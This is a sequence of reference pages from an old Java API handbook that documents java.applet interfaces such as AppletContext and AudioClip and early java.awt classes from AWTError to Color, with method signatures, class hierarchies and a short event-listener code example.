This interface defines the methods that allow an applet to interact with the context in which it runs (which is usually a Web browser or an applet viewer). The object that implements the AppletContext interface is returned by Applet.getAppletContext(). You can use it to take advantage of a Web browser's cache, or to display a message to the user in the Web browser's or applet viewer's message area.

The getAudioClip() and getImage() methods may make use of a Web browser's caching mechanism. showDocument() and showStatus() give an applet a small measure of control over the appearance of the browser or applet viewer. The getApplet() and getApplets() methods allow an applet to find out what other applets are running at the same time.

public abstract interface AppletContext {
    // Public Instance Methods
            public abstract Applet getApplet(String name);
            public abstract Enumeration getApplets();
            public abstract AudioClip getAudioClip(URL url);
            public abstract Image getImage(URL url);
            public abstract void showDocument(URL url);
            public abstract void showDocument(URL url, String target);
            public abstract void showStatus(String status);
}

Returned By:

Applet.getAppletContext(), AppletStub.getAppletContext()

Previous | Home | Next
java.applet.Applet (JDK 1.0) | Book Index | java.applet.AppletStub (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] 17.3 java.applet.AppletStub (JDK 1.0)

Java in a Nutshell

Previous Chapter 17
The java.applet Package 		Next

17.3 java.applet.AppletStub (JDK 1.0)

This is an internal interface used when implementing an applet viewer.

public abstract interface AppletStub {
    // Public Instance Methods
            public abstract void appletResize(int width, int height);
            public abstract AppletContext getAppletContext();
            public abstract URL getCodeBase();
            public abstract URL getDocumentBase();
            public abstract String getParameter(String name);
            public abstract boolean isActive();
}

Passed To:

Applet.setStub()

Previous | Home | Next
java.applet.AppletContext (JDK 1.0) | Book Index | java.applet.AudioClip (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 17] 17.4 java.applet.AudioClip (JDK 1.0)

Java in a Nutshell

Previous Chapter 17
The java.applet Package 		Next

17.4 java.applet.AudioClip (JDK 1.0)

This interface describes the essential methods that an audio clip must have. AppletContext.getAudioClip() and Applet.getAudioClip() both return an object that implements this interface. The current JDK implementations of this interface only work with sounds encoded in AU format. The AudioClip interface is in the java.applet package only because there is not a better place for it.

public abstract interface AudioClip {
    // Public Instance Methods
            public abstract void loop();
            public abstract void play();
            public abstract void stop();
}

Returned By:

Applet.getAudioClip(), AppletContext.getAudioClip()

Previous | Home | Next
java.applet.AppletStub (JDK 1.0) | Book Index | The java.awt Package
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] The java.awt Package

Java in a Nutshell

Previous Chapter 18 Next

18. The java.awt Package

Contents:
java.awt.AWTEvent (JDK 1.1)
java.awt.AWTEventMulticaster (JDK 1.1)
java.awt.AWTException (JDK 1.0)
java.awt.Adjustable (JDK 1.1)
java.awt.BorderLayout (JDK 1.0)
java.awt.Button (JDK 1.0)
java.awt.Canvas (JDK 1.0)
java.awt.CardLayout (JDK 1.0)
java.awt.Checkbox (JDK 1.0)
java.awt.CheckboxGroup (JDK 1.0)
java.awt.CheckboxMenuItem (JDK 1.0)
java.awt.Choice (JDK 1.0)
java.awt.Color (JDK 1.0)
java.awt.Component (JDK 1.0)
java.awt.Container (JDK 1.0)
java.awt.Cursor (JDK 1.1)
java.awt.Dialog (JDK 1.0)
java.awt.Dimension (JDK 1.0)
java.awt.Event (JDK 1.0)
java.awt.EventQueue (JDK 1.1)
java.awt.FileDialog (JDK 1.0)
java.awt.FlowLayout (JDK 1.0)
java.awt.Font (JDK 1.0)
java.awt.FontMetrics (JDK 1.0)
java.awt.Frame (JDK 1.0)
java.awt.Graphics (JDK 1.0)
java.awt.GridBagConstraints (JDK 1.0)
java.awt.GridBagLayout (JDK 1.0)
java.awt.GridLayout (JDK 1.0)
java.awt.IllegalComponentStateException (JDK 1.1)
java.awt.Image (JDK 1.0)
java.awt.Insets (JDK 1.0)
java.awt.ItemSelectable (JDK 1.1)
java.awt.Label (JDK 1.0)
java.awt.LayoutManager (JDK 1.0)
java.awt.LayoutManager2 (JDK 1.1)
java.awt.List (JDK 1.0)
java.awt.MediaTracker (JDK 1.0)
java.awt.Menu (JDK 1.0)
java.awt.MenuBar (JDK 1.0)
java.awt.MenuComponent (JDK 1.0)
java.awt.MenuContainer (JDK 1.0)
java.awt.MenuItem (JDK 1.0)
java.awt.MenuShortcut (JDK 1.1)
java.awt.Panel (JDK 1.0)
java.awt.Point (JDK 1.0)
java.awt.Polygon (JDK 1.0)
java.awt.PopupMenu (JDK 1.1)
java.awt.PrintGraphics (JDK 1.1)
java.awt.PrintJob (JDK 1.1)
java.awt.Rectangle (JDK 1.0)
java.awt.ScrollPane (JDK 1.1)
java.awt.Scrollbar (JDK 1.0)
java.awt.Shape (JDK 1.1)
java.awt.SystemColor (JDK 1.1)
java.awt.TextArea (JDK 1.0)
java.awt.TextComponent (JDK 1.0)
java.awt.TextField (JDK 1.0)
java.awt.Toolkit (JDK 1.0)
java.awt.Window (JDK 1.0)

The java.awt package is the Abstract Windowing Toolkit. The classes of this package may be roughly divided into three categories (see Figure 18.1 and Figure 18.2).

  • Graphics: These classes define colors, fonts, images, polygons, and so forth.

  • Components: These classes are GUI (graphical user interface) components such as buttons, menus, lists, and dialog boxes.

  • Layout Managers: These classes control the layout of components within their container objects.

Note that separate packages, java.awt.datatransfer, java.awt.event, and java.awt.image, contain classes for cut-and-paste, event handling, and image manipulation.

Figure 18.1: Graphics, event, and exception classes of the java.awt package

[Graphic: Figure 18-1]

In the first category of classes, Graphics is probably the most important. This class defines methods for doing line and text drawing and image painting. It relies on other classes such as Color, Font, Image, and Polygon. Image is itself an important class, used in many places in java.awt and throughout the related package java.awt.image. Event is another important class that describes a user or window system event that has occurred. In Java 1.1, Event is superseded by the AWTEvent class.

Component and MenuComponent are root classes in the second category of java.awt classes. Their subclasses are GUI components that can appear in interfaces and menus. The Container class is one that contains components and arranges them visually. You add components to a container with the add() method and specify a layout manager for the container with the setLayout() method.

There are three commonly used Container subclasses. Frame is a toplevel window that can contain a menu bar and have a custom cursor and an icon. Dialog is a dialog window. Panel is a container that does not have its own window--it is contained within some other container.

The third category of java.awt classes is the layout managers. The subclasses of LayoutManager are responsible for arranging the Component objects contained within a specified Container. GridBagLayout, BorderLayout, and GridLayout are probably the most useful of these layout managers.

See Chapter 8, New AWT Features, for examples of using some of the new Java 1.1 features of this package.

Figure 18.2: Component and layout classes of the java.awt package

[Graphic: Figure 18-2]

18.1 java.awt.AWTError (JDK 1.0)

Signals that an error has occurred in the java.awt package.

public class AWTError extends Error {
    // Public Constructor
            public AWTError(String msg);
}

Hierarchy:

Object->Throwable(Serializable)->Error->AWTError

Previous | Home | Next
java.applet.AudioClip (JDK 1.0) | Book Index | java.awt.AWTEvent (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.2 java.awt.AWTEvent (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.2 java.awt.AWTEvent (JDK 1.1)

This abstract class serves as the root event type for all AWT events in Java 1.1 and supersedes the Event class which was used in Java 1.0.

Each AWTEvent has a source object, as all EventObject objects do. You can query the source of an event with the inherited getSource() method. The AWTEvent class adds an event type, or "id," for every AWT event. Use getID() to query the type of the event. Subclasses of AWTEvent define various constants for this type field.

The various _MASK constants defined by this class allow Component.enableEvents() to be called by applets and custom components that want to receive various event types without having to register an EventListener object to receive them.

public abstract class AWTEvent extends EventObject {
    // Public Constructors
            public AWTEvent(Event event);
            public AWTEvent(Object source, int id);
    // Constants
            public static final long ACTION_EVENT_MASK;
            public static final long ADJUSTMENT_EVENT_MASK;
            public static final long COMPONENT_EVENT_MASK;
            public static final long CONTAINER_EVENT_MASK;
            public static final long FOCUS_EVENT_MASK;
            public static final long ITEM_EVENT_MASK;
            public static final long KEY_EVENT_MASK;
            public static final long MOUSE_EVENT_MASK;
            public static final long MOUSE_MOTION_EVENT_MASK;
            public static final int RESERVED_ID_MAX;
            public static final long TEXT_EVENT_MASK;
            public static final long WINDOW_EVENT_MASK;
    // Protected Instance Variables
            protected boolean consumed;
            protected int id;
    // Public Instance Methods
            public int getID();
            public String paramString();
            public String toString();  // Overrides EventObject
    // Protected Instance Methods
            protected void consume();
            protected boolean isConsumed();
}

Hierarchy:

Object->EventObject(Serializable)->AWTEvent

Extended By:

ActionEvent, AdjustmentEvent, ComponentEvent, ItemEvent, TextEvent

Passed To:

Button.processEvent(),
Checkbox.processEvent(),
CheckboxMenuItem.processEvent(),
Choice.processEvent(),
Component.dispatchEvent(),
Component.processEvent(),
ComponentPeer.handleEvent(),
Container.processEvent(),
EventQueue.postEvent(),
List.processEvent(),
MenuComponent.dispatchEvent(),
MenuComponent.processEvent(),
MenuItem.processEvent(),
Scrollbar.processEvent(),
TextComponent.processEvent(),
TextField.processEvent(),
Window.processEvent()

Returned By:

EventQueue.getNextEvent(), EventQueue.peekEvent()

Previous | Home | Next
java.awt.AWTError (JDK 1.0) | Book Index | java.awt.AWTEventMulticaster (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.3 java.awt.AWTEventMulticaster (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.3 java.awt.AWTEventMulticaster (JDK 1.1)

AWTEventMulticaster is a convenience class used when writing a custom AWT component. It provides an easy way to maintain a list of AWT EventListener objects, and to notify the listeners on that list when an event occurs.

AWTEventMulticaster implements each of the event listener interfaces defined in the java.awt.event package, which means that an AWTEventMulticaster object can serve as any desired type of event listener. (It also means, as you can see below, that the class defines quite a few methods.) AWTEventMulticaster implements what amounts to a linked list of EventListener objects. When you invoke one of the EventListener methods of an AWTEventMulticaster, it invokes the same method on all of the EventListener objects in the linked list.

Rather than instantiate an AWTEventMulticaster object directly, you use the static add() and remove() methods of the class to add and remove EventListener objects from the linked list. Doing so returns an AWTEventMulticaster with the appropriate EventListener object registered. The API for using an AWTEventMulticaster is somewhat non-intuitive. Here is some example code that shows its use:

public class MyList extends Component {   // a class that sends ItemEvents
  // this will be the head of a linked list of AWTEventMulticaster objects
  protected ItemListener listener = null;
  public void addItemListener(ItemListener l) {      // add a listener
    listener = AWTEventMulticaster.add(listener, l);
  }
  public void removeItemListener(ItemListener l) {   // remove a listener
    listener = AWTEventMulticaster.remove(listener, l);
  }
  protected void fireItemEvent(ItemEvent e) {        // notify all listeners
    if (listener != null) listener.itemStateChanged(e);
  }
  // The rest of the class goes here
}

public class AWTEvent Multicaster  extends Object
                                   implements ComponentListener, ContainerListener, FocusListener, KeyListener, MouseListener, MouseMotionListener, WindowListener, ActionListener,ItemListener, AdjustmentListener, TextListener {
    // Protected Constructor
            protected AWTEventMulticaster(EventListener a, EventListener b);
    // Protected Instance Variables
            protected EventListener a;
            protected EventListener b;
    // Class Methods
            public static ComponentListener add(ComponentListener a, ComponentListener b);
            public static ContainerListener add(ContainerListener a, ContainerListener b);
            public static FocusListener add(FocusListener a, FocusListener b);
            public static KeyListener add(KeyListener a, KeyListener b);
            public static MouseListener add(MouseListener a, MouseListener b);
            public static MouseMotionListener add(MouseMotionListener a, MouseMotionListener b);
            public static WindowListener add(WindowListener a, WindowListener b);
            public static ActionListener add(ActionListener a, ActionListener b);
            public static ItemListener add(ItemListener a, ItemListener b);
            public static AdjustmentListener add(AdjustmentListener a, AdjustmentListener b);
            public static TextListener add(TextListener a, TextListener b);
            protected static EventListener addInternal(EventListener a, EventListener b);
            public static ComponentListener remove(ComponentListener l, ComponentListener oldl);
            public static ContainerListener remove(ContainerListener l, ContainerListener oldl);
            public static FocusListener remove(FocusListener l, FocusListener oldl);
            public static KeyListener remove(KeyListener l, KeyListener oldl);
            public static MouseListener remove(MouseListener l, MouseListener oldl);
            public static MouseMotionListener remove(MouseMotionListener l, MouseMotionListener oldl);
            public static WindowListener remove(WindowListener l, WindowListener oldl);
            public static ActionListener remove(ActionListener l, ActionListener oldl);
            public static ItemListener remove(ItemListener l, ItemListener oldl);
            public static AdjustmentListener remove(AdjustmentListener l, AdjustmentListener oldl);
            public static TextListener remove(TextListener l, TextListener oldl);
            protected static EventListener removeInternal(EventListener l, EventListener oldl);
            protected static void save(ObjectOutputStream s, String k, EventListener l) throws IOException;
    // Public Instance Methods
            public void actionPerformed(ActionEvent e);  // From ActionListener
            public void adjustmentValueChanged(AdjustmentEvent e);  // From AdjustmentListener
            public void componentAdded(ContainerEvent e);  // From ContainerListener
            public void componentHidden(ComponentEvent e);  // From ComponentListener
            public void componentMoved(ComponentEvent e);  // From ComponentListener
            public void componentRemoved(ContainerEvent e);  // From ContainerListener
            public void componentResized(ComponentEvent e);  // From ComponentListener
            public void componentShown(ComponentEvent e);  // From ComponentListener
            public void focusGained(FocusEvent e);  // From FocusListener
            public void focusLost(FocusEvent e);  // From FocusListener
            public void itemStateChanged(ItemEvent e);  // From ItemListener
            public void keyPressed(KeyEvent e);  // From KeyListener
            public void keyReleased(KeyEvent e);  // From KeyListener
            public void keyTyped(KeyEvent e);  // From KeyListener
            public void mouseClicked(MouseEvent e);  // From MouseListener
            public void mouseDragged(MouseEvent e);  // From MouseMotionListener
            public void mouseEntered(MouseEvent e);  // From MouseListener
            public void mouseExited(MouseEvent e);  // From MouseListener
            public void mouseMoved(MouseEvent e);  // From MouseMotionListener
            public void mousePressed(MouseEvent e);  // From MouseListener
            public void mouseReleased(MouseEvent e);  // From MouseListener
            public void textValueChanged(TextEvent e);  // From TextListener
            public void windowActivated(WindowEvent e);  // From WindowListener
            public void windowClosed(WindowEvent e);  // From WindowListener
            public void windowClosing(WindowEvent e);  // From WindowListener
            public void windowDeactivated(WindowEvent e);  // From WindowListener
            public void windowDeiconified(WindowEvent e);  // From WindowListener
            public void windowIconified(WindowEvent e);  // From WindowListener
            public void windowOpened(WindowEvent e);  // From WindowListener
    // Protected Instance Methods
            protected EventListener remove(EventListener oldl);
            protected void saveInternal(ObjectOutputStream s, String k) throws IOException;
}

Hierarchy:

Object->AWTEventMulticaster(ComponentListener(EventListener), ContainerListener(EventListener), FocusListener(EventListener), KeyListener(EventListener), MouseListener(EventListener), MouseMotionListener(EventListener), WindowListener(EventListener), ActionListener(EventListener), ItemListener(EventListener), AdjustmentListener(EventListener), TextListener(EventListener))

Previous | Home | Next
java.awt.AWTEvent (JDK 1.1) | Book Index | java.awt.AWTException (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.4 java.awt.AWTException (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.4 java.awt.AWTException (JDK 1.0)

Signals that an exception has occurred in the java.awt package.

public class AWTException extends Exception {
    // Public Constructor
            public AWTException(String msg);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->AWTException

Previous | Home | Next
java.awt.AWTEventMulticaster (JDK 1.1) | Book Index | java.awt.Adjustable (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.5 java.awt.Adjustable (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.5 java.awt.Adjustable (JDK 1.1)

This interface defines the methods that should be implemented by an object that maintains a user-adjustable numeric value. This value has a specified minimum and maximum value, and it may be incremented or decremented either a unit at a time or a block at a time. An Adjustable object generates an AdjustmentEvent when it is adjusted, and it maintains a list of AdjustmentListener objects interested in being notified when such an event occurs.

This interface abstracts the essential functionality of the Scrollbar component.

public abstract interface Adjustable {
    // Constants
            public static final int HORIZONTAL;
            public static final int VERTICAL;
    // Public Instance Methods
            public abstract void addAdjustmentListener(AdjustmentListener l);
            public abstract int getBlockIncrement();
            public abstract int getMaximum();
            public abstract int getMinimum();
            public abstract int getOrientation();
            public abstract int getUnitIncrement();
            public abstract int getValue();
            public abstract int getVisibleAmount();
            public abstract void removeAdjustmentListener(AdjustmentListener l);
            public abstract void setBlockIncrement(int b);
            public abstract void setMaximum(int max);
            public abstract void setMinimum(int min);
            public abstract void setUnitIncrement(int u);
            public abstract void setValue(int v);
            public abstract void setVisibleAmount(int v);
}

Implemented By:

Scrollbar

Passed To:

AdjustmentEvent(),
ScrollPanePeer.setUnitIncrement(),
ScrollPanePeer.setValue()

Returned By:

AdjustmentEvent.getAdjustable(),
ScrollPane.getHAdjustable(),
ScrollPane.getVAdjustable()

Previous | Home | Next
java.awt.AWTException (JDK 1.0) | Book Index | java.awt.BorderLayout (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.6 java.awt.BorderLayout (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.6 java.awt.BorderLayout (JDK 1.0)

This class implements the LayoutManager interface to lay out Component objects in a Container. The BorderLayout arranges components that have been added to their Container (using the Container.add() method) with the names "North," "South," "East," "West," and "Center." These named components are arranged along the edges and in the center of the container. The hgap and vgap arguments to the BorderLayout constructor specify the desired horizontal and vertical spacing between adjacent components.

Note that applications should never call the LayoutManager methods of this class directly; the Container for which the BorderLayout is registered does this.

public class BorderLayout extends Object implements LayoutManager2, Serializable {
    // Public Constructors
            public BorderLayout();
            public BorderLayout(int hgap, int vgap);
    // Constants
        1.1 public static final String CENTER;
        1.1 public static final String EAST;
        1.1 public static final String NORTH;
        1.1 public static final String SOUTH;
        1.1 public static final String WEST;
    // Public Instance Methods
        1.1 public void addLayoutComponent(Component comp, Object constraints);  // From LayoutManager2
        #   public void addLayoutComponent(String name, Component comp);  // From LayoutManager
        1.1 public int getHgap();
        1.1 public float getLayoutAlignmentX(Container parent);  // From LayoutManager2
        1.1 public float getLayoutAlignmentY(Container parent);  // From LayoutManager2
        1.1 public int getVgap();
        1.1 public void invalidateLayout(Container target);  // From LayoutManager2
         public void layoutContainer(Container target);  // From LayoutManager
        1.1 public Dimension maximumLayoutSize(Container target);  // From LayoutManager2
         public Dimension minimumLayoutSize(Container target);  // From LayoutManager
         public Dimension preferredLayoutSize(Container target);  // From LayoutManager
         public void removeLayoutComponent(Component comp);  // From LayoutManager
        1.1 public void setHgap(int hgap);
        1.1 public void setVgap(int vgap);
         public String toString();  // Overrides Object
}

Hierarchy:

Object->BorderLayout(LayoutManager2(LayoutManager), Serializable)

Previous | Home | Next
java.awt.Adjustable (JDK 1.1) | Book Index | java.awt.Button (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.7 java.awt.Button (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.7 java.awt.Button (JDK 1.0)

This class represents a GUI pushbutton that displays a specified textual label. Use setActionCommand() to specify an identifying string that is included in the ActionEvent events generated by the button.

public class Button extends Component {
    // Public Constructors
            public Button();
            public Button(String label);
    // Public Instance Methods
        1.1 public synchronized void addActionListener(ActionListener l);
            public void addNotify();  // Overrides Component
        1.1 public String getActionCommand();
            public String getLabel();
        1.1 public synchronized void removeActionListener(ActionListener l);
        1.1 public void setActionCommand(String command);
         public synchronized void setLabel(String label);
    // Protected Instance Methods
            protected String paramString();  // Overrides Component
        1.1 protected void processActionEvent(ActionEvent e);
        1.1 protected void processEvent(AWTEvent e);  // Overrides Component
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Button

Passed To:

Toolkit.createButton()

Previous | Home | Next
java.awt.BorderLayout (JDK 1.0) | Book Index | java.awt.Canvas (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.8 java.awt.Canvas (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.8 java.awt.Canvas (JDK 1.0)

This class is a Component that does no default drawing or event handling on its own. You can subclass it to display any kind of drawing or image, and to handle any kind of user input event. Canvas inherits the event handling methods of its superclass. In Java 1.1, you can also subclass Component directly to create a "lightweight component," instead of having to subclass Canvas.

public class Canvas extends Component {
    // Public Constructor
        1.1 public Canvas();
    // Public Instance Methods
            public void addNotify();  // Overrides Component
            public void paint(Graphics g);  // Overrides Component
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Canvas

Passed To:

Toolkit.createCanvas()

Previous | Home | Next
java.awt.Button (JDK 1.0) | Book Index | java.awt.CardLayout (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.9 java.awt.CardLayout (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.9 java.awt.CardLayout (JDK 1.0)

This class is a LayoutManager that makes each of the components it manages as large as the container and ensures that only one is visible at a time. The standard LayoutManager methods are called by the Container object, and should not be called directly by applet or application code. first(), last(), next(), previous(), and show() make a particular Component in the Container visible. The names with which the components are added to the container are used only by the show() method.

public class CardLayout extends Object implements LayoutManager2, Serializable {
    // Public Constructors
            public CardLayout();
            public CardLayout(int hgap, int vgap);
    // Public Instance Methods
        1.1 public void addLayoutComponent(Component comp, Object constraints);  // From LayoutManager2
          # public void addLayoutComponent(String name, Component comp);  // From LayoutManager
            public void first(Container parent);
        1.1 public int getHgap();
        1.1 public float getLayoutAlignmentX(Container parent);  // From LayoutManager2
        1.1 public float getLayoutAlignmentY(Container parent);  // From LayoutManager2
        1.1 public int getVgap();
        1.1 public void invalidateLayout(Container target);  // From LayoutManager2
            public void last(Container parent);
            public void layoutContainer(Container parent);  // From LayoutManager
        1.1 public Dimension maximumLayoutSize(Container target);  // From LayoutManager2
            public Dimension minimumLayoutSize(Container parent);  // From LayoutManager
            public void next(Container parent);
            public Dimension preferredLayoutSize(Container parent);  // From LayoutManager
            public void previous(Container parent);
            public void removeLayoutComponent(Component comp);  // From LayoutManager
        1.1 public void setHgap(int hgap);
        1.1 public void setVgap(int vgap);
            public void show(Container parent, String name);
            public String toString();  // Overrides Object
}

Hierarchy:

Object->CardLayout(LayoutManager2(LayoutManager), Serializable)

Previous | Home | Next
java.awt.Canvas (JDK 1.0) | Book Index | java.awt.Checkbox (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.10 java.awt.Checkbox (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.10 java.awt.Checkbox (JDK 1.0)

This class represents a GUI checkbox with a textual label. The Checkbox maintains a boolean state--whether it is checked or not. The checkbox may optionally be part of a CheckboxGroup which enforces "radio button" behavior.

public class Checkbox extends Component implements ItemSelectable {
    // Public Constructors
            public Checkbox();
            public Checkbox(String label);
        1.1 public Checkbox(String label, boolean state);
        1.1 public Checkbox(String label, boolean state, CheckboxGroup group);
            public Checkbox(String label, CheckboxGroup group, boolean state);
    // Public Instance Methods
        1.1 public synchronized void addItemListener(ItemListener l);  // From ItemSelectable
            public void addNotify();  // Overrides Component
            public CheckboxGroup getCheckboxGroup();
            public String getLabel();
        1.1 public Object[] getSelectedObjects();  // From ItemSelectable
            public boolean getState();
        1.1 public synchronized void removeItemListener(ItemListener l);  // From ItemSelectable
            public void setCheckboxGroup(CheckboxGroup g);
            public synchronized void setLabel(String label);
            public void setState(boolean state);
    // Protected Instance Methods
            protected String paramString();  // Overrides Component
        1.1 protected void processEvent(AWTEvent e);  // Overrides Component
        1.1 protected void processItemEvent(ItemEvent e);
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Checkbox(ItemSelectable)

Passed To:

CheckboxGroup.setCurrent(),
CheckboxGroup.setSelectedCheckbox(),
Toolkit.createCheckbox()

Returned By:

CheckboxGroup.getCurrent(), CheckboxGroup.getSelectedCheckbox()

Previous | Home | Next
java.awt.CardLayout (JDK 1.0) | Book Index | java.awt.CheckboxGroup (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.11 java.awt.CheckboxGroup (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.11 java.awt.CheckboxGroup (JDK 1.0)

A CheckboxGroup object enforces mutual exclusion (also known as "radio button" behavior) among any number of Checkbox buttons. A Checkbox component can specify a CheckboxGroup object when created or with Checkbox.setCheckboxGroup(). If a Checkbox with a given CheckboxGroup object is selected, then the CheckboxGroup ensures that the previously selected Checkbox becomes unselected.

public class CheckboxGroup extends Object implements Serializable {
    // Public Constructor
            public CheckboxGroup();
    // Public Instance Methods
        #   public Checkbox getCurrent();
        1.1 public Checkbox getSelectedCheckbox();
        #   public synchronized void setCurrent(Checkbox box);
        1.1 public synchronized void setSelectedCheckbox(Checkbox box);
            public String toString();  // Overrides Object
}

Passed To:

Checkbox(),
Checkbox.setCheckboxGroup(),
CheckboxPeer.setCheckboxGroup()

Returned By:

Checkbox.getCheckboxGroup()

Previous | Home | Next
java.awt.Checkbox (JDK 1.0) | Book Index | java.awt.CheckboxMenuItem (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.12 java.awt.CheckboxMenuItem (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.12 java.awt.CheckboxMenuItem (JDK 1.0)

This class represents a checkbox with a textual label in a GUI menu. It maintains a boolean state--whether it is checked or not. See also MenuItem.

public class CheckboxMenuItem extends MenuItem implements ItemSelectable {
    // Public Constructors
        1.1 public CheckboxMenuItem();
            public CheckboxMenuItem(String label);
        1.1 public CheckboxMenuItem(String label, boolean state);
    // Public Instance Methods
        1.1 public synchronized void addItemListener(ItemListener l);  // From ItemSelectable
            public void addNotify();  // Overrides MenuItem
        1.1 public synchronized Object[] getSelectedObjects();  // From ItemSelectable
            public boolean getState();
            public String paramString();  // Overrides MenuItem
        1.1 public synchronized void removeItemListener(ItemListener l);  // From ItemSelectable
            public synchronized void setState(boolean b);
    // Protected Instance Methods
        1.1 protected void processEvent(AWTEvent e);  // Overrides MenuItem
        1.1  protected void processItemEvent(ItemEvent e);
}

Hierarchy:

Object->MenuComponent(Serializable)->MenuItem->CheckboxMenuItem(ItemSelectable)

Passed To:

Toolkit.createCheckboxMenuItem()

Previous | Home | Next
java.awt.CheckboxGroup (JDK 1.0) | Book Index | java.awt.Choice (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.13 java.awt.Choice (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.13 java.awt.Choice (JDK 1.0)

This class represents an "option menu" or "dropdown list." The addItem() method adds an item with the specified label to a Choice menu. getSelectedIndex() returns the numerical position of the selected item in the menu, and getSelectedItem() returns the label of the selected item.

public class Choice extends Component implements ItemSelectable {
    // Public Constructor
            public Choice();
    // Public Instance Methods
        1.1 public synchronized void add(String item);
            public synchronized void addItem(String item);
        1.1 public synchronized void addItemListener(ItemListener l);  // From ItemSelectable
            public void addNotify();  // Overrides Component
        #   public int countItems();
            public String getItem(int index);
        1.1 public int getItemCount();
            public int getSelectedIndex();
            public synchronized String getSelectedItem();
        1.1 public synchronized Object[] getSelectedObjects();  // From ItemSelectable
        1.1 public synchronized void insert(String item, int index);
        1.1 public synchronized void remove(String item);
        1.1 public synchronized void remove(int position);
        1.1 public synchronized void removeAll();
        1.1 public synchronized void removeItemListener(ItemListener l);  // From ItemSelectable
            public synchronized void select(int pos);
            public synchronized void select(String str);
    // Protected Instance Methods
            protected String paramString();  // Overrides Component
        1.1 protected void processEvent(AWTEvent e);  // Overrides Component
        1.1 protected void processItemEvent(ItemEvent e);
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Choice(ItemSelectable)

Passed To:

Toolkit.createChoice()

Previous | Home | Next
java.awt.CheckboxMenuItem (JDK 1.0) | Book Index | java.awt.Color (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.14 java.awt.Color (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.14 java.awt.Color (JDK 1.0)

The Color object describes a color. The Color() constructors describe a color as red, green, and blue components between 0 and 255, or as floating-point values between 0.0 and 1.0. The class method Color.getHSBColor() creates a color using the hue/saturation/brightness color model.

brighter() and darker() are useful methods to create shading effects. The getColor() methods look up a color name in the properties database and convert the resulting integer color value into a Color object. Two of these methods provide a default value to be used in case the specified color name is not found.

public class Color extends Object implements Serializable {
    // Public Constructors
            public Color(int r, int g, int b);
            public Color(int rgb);
            public Color(float r, float g, float b);
    // Constants
            public static final Color black;
            public static final Color blue;
            public static final Color cyan;
            public static final Color darkGray;
            public static final Color gray;
            public static final Color green;
            public static final Color lightGray;
            public static final Color magenta;
            public static final Color orange;
            public static final Color pink;
            public static final Color red;
            public static final Color white;
            public static final Color yellow;
    // Class Methods
            public static int HSBtoRGB(float hue, float saturation, float brightness);
            public static float[] RGBtoHSB(int r, int g, int b, float[] hsbvals);
        1.1 public static Color decode(String nm) throws NumberFormatException;
            public static Color getColor(String nm);
            public static Color getColor(String nm, Color v);
            public static Color getColor(String nm, int v);
            public static Color getHSBColor(float h, float s, float b);
    // Public Instance Methods
            public Color brighter();
            public Color darker();
            public boolean equals(Object obj);  // Overrides Object
            public int getBlue();
            public int getGreen();
            public int getRGB();
            public int getRed();
            public int hashCode();  // Overrides Object
            public String toString();  // Overrides Object
}

Extended By:

SystemColor

Passed To:

Color.getColor(),
Component.setBackground(),
Component.setForeground(),
ComponentPeer.setBackground(),
ComponentPeer.setForeground(),
Graphics.drawImage(),
Graphics.setColor(),
Graphics.setXORMode()

Returned By:

Color.brighter(),
Color.darker(),
Color.decode(),
Color.getColor(),
Color.getHSBColor(),
Component.getBackground(),
Component.getForeground(),
Graphics.getColor()

Type Of:

Color.black, Color.blue, Color.cyan, Color.darkGray, Color.gray, Color.green, Color.lightGray, Color.magenta, Color.orange, Color.pink, Color.red, Color.white, Color.yellow

Previous | Home | Next
